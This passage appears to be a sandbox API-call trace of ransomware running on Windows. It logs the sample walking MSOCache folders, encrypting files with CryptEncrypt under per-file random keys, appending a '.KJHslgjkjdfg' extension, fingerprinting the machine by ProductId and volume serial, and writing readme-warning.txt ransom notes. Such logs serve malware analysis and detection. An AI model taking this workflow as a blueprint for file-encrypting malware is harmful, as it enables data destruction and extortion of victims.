WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0137.492] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0137.493] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0137.493] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0137.493] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0137.493] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.493] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.493] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa40, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0xa40, lpOverlapped=0x0) returned 1 [0137.493] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xa40, dwBufLen=0xa40 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xa40) returned 1 [0137.493] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.493] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0xa40, lpOverlapped=0x0) returned 1 [0137.493] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.493] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.493] SetEndOfFile (hFile=0x124) returned 1 [0137.496] GetProcessHeap () returned 0x2a0000 [0137.496] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0137.496] GetProcessHeap () returned 0x2a0000 [0137.496] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0137.496] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0137.496] CloseHandle (hObject=0x124) returned 1 [0137.496] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0137.497] GetProcessHeap () returned 0x2a0000 [0137.497] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0137.497] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0137.497] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f330 | out: pbData=0x2bf570, pdwDataLen=0x290f330) returned 1 [0137.497] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.497] GetProcessHeap () returned 0x2a0000 [0137.497] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0137.497] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0137.497] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f330 | out: pbData=0x2bf5b8, pdwDataLen=0x290f330) returned 1 [0137.497] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.497] GetProcessHeap () returned 0x2a0000 [0137.497] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f22c8 [0137.497] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0137.497] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f22c8, pdwDataLen=0x290f330 | out: pbData=0x2f22c8, pdwDataLen=0x290f330) returned 1 [0137.497] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.497] GetProcessHeap () returned 0x2a0000 [0137.497] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0137.497] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0137.497] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ef10 | out: pbData=0x2bf528, pdwDataLen=0x290ef10) returned 1 [0137.497] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.497] GetProcessHeap () returned 0x2a0000 [0137.497] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0137.497] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0137.497] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ef10 | out: pbData=0x2c1668, pdwDataLen=0x290ef10) returned 1 [0137.497] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.498] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ef0c | out: phkResult=0x290ef0c*=0x124) returned 0x0 [0137.498] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ef18, lpcbData=0x290ef14*=0x400 | out: lpType=0x0, lpData=0x290ef18*=0x30, lpcbData=0x290ef14*=0x18) returned 0x0 [0137.498] RegCloseKey (hKey=0x124) returned 0x0 [0137.498] GetProcessHeap () returned 0x2a0000 [0137.498] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0137.498] GetProcessHeap () returned 0x2a0000 [0137.498] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0137.498] GetProcessHeap () returned 0x2a0000 [0137.498] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0137.498] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0137.498] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ece4 | out: pbData=0x2c1668, pdwDataLen=0x290ece4) returned 1 [0137.498] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.498] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0137.498] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0137.498] GetProcessHeap () returned 0x2a0000 [0137.498] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0137.498] wsprintfA (in: param_1=0x290ef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0137.498] wsprintfA (in: param_1=0x290f33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0137.498] GetProcessHeap () returned 0x2a0000 [0137.498] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f2690 [0137.499] wsprintfW (in: param_1=0x290e30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0137.499] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0137.499] WriteFile (in: hFile=0x124, lpBuffer=0x2f2690*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e308, lpOverlapped=0x0 | out: lpBuffer=0x2f2690*, lpNumberOfBytesWritten=0x290e308*=0x3b3, lpOverlapped=0x0) returned 1 [0137.500] CloseHandle (hObject=0x124) returned 1 [0137.500] GetProcessHeap () returned 0x2a0000 [0137.500] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f22c8 | out: hHeap=0x2a0000) returned 1 [0137.500] GetProcessHeap () returned 0x2a0000 [0137.500] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f2690 | out: hHeap=0x2a0000) returned 1 [0137.500] GetProcessHeap () returned 0x2a0000 [0137.500] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0137.500] GetProcessHeap () returned 0x2a0000 [0137.501] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0137.501] FindClose (in: hFindFile=0x2c62a0 | out: hFindFile=0x2c62a0) returned 1 [0137.501] GetProcessHeap () returned 0x2a0000 [0137.501] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ab8 | out: hHeap=0x2a0000) returned 1 [0137.501] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~1")) returned 1 [0137.501] GetProcessHeap () returned 0x2a0000 [0137.501] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0137.501] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62a0 [0137.503] GetProcessHeap () returned 0x2a0000 [0137.503] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0137.503] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0137.503] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0137.503] GetProcessHeap () returned 0x2a0000 [0137.503] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2c7ab8 [0137.503] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0137.504] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=1992192) returned 1 [0137.504] GetProcessHeap () returned 0x2a0000 [0137.504] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0137.504] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0137.504] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.504] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0137.504] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.504] GetProcessHeap () returned 0x2a0000 [0137.504] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0137.504] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0137.504] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.504] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0137.516] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0137.516] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0137.517] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0137.517] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0137.517] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0137.517] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0137.517] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.517] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0137.517] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0137.524] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0137.527] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.527] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0137.528] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.528] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0137.528] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0137.528] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0137.539] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0137.542] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.542] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0137.543] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.543] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0137.543] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0137.543] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0137.552] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0137.554] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.554] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0137.555] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.555] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0137.555] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.555] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.555] SetEndOfFile (hFile=0x124) returned 1 [0137.558] GetProcessHeap () returned 0x2a0000 [0137.558] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0137.558] GetProcessHeap () returned 0x2a0000 [0137.558] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0137.558] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.kjhslgjkjdfg")) returned 1 [0137.559] CloseHandle (hObject=0x124) returned 1 [0137.559] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0137.559] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0137.559] GetProcessHeap () returned 0x2a0000 [0137.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0137.560] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0137.560] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0137.560] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xe, lpOverlapped=0x0) returned 1 [0137.562] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0137.562] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.562] GetProcessHeap () returned 0x2a0000 [0137.562] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0137.562] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0137.562] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.562] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0137.562] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0137.562] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 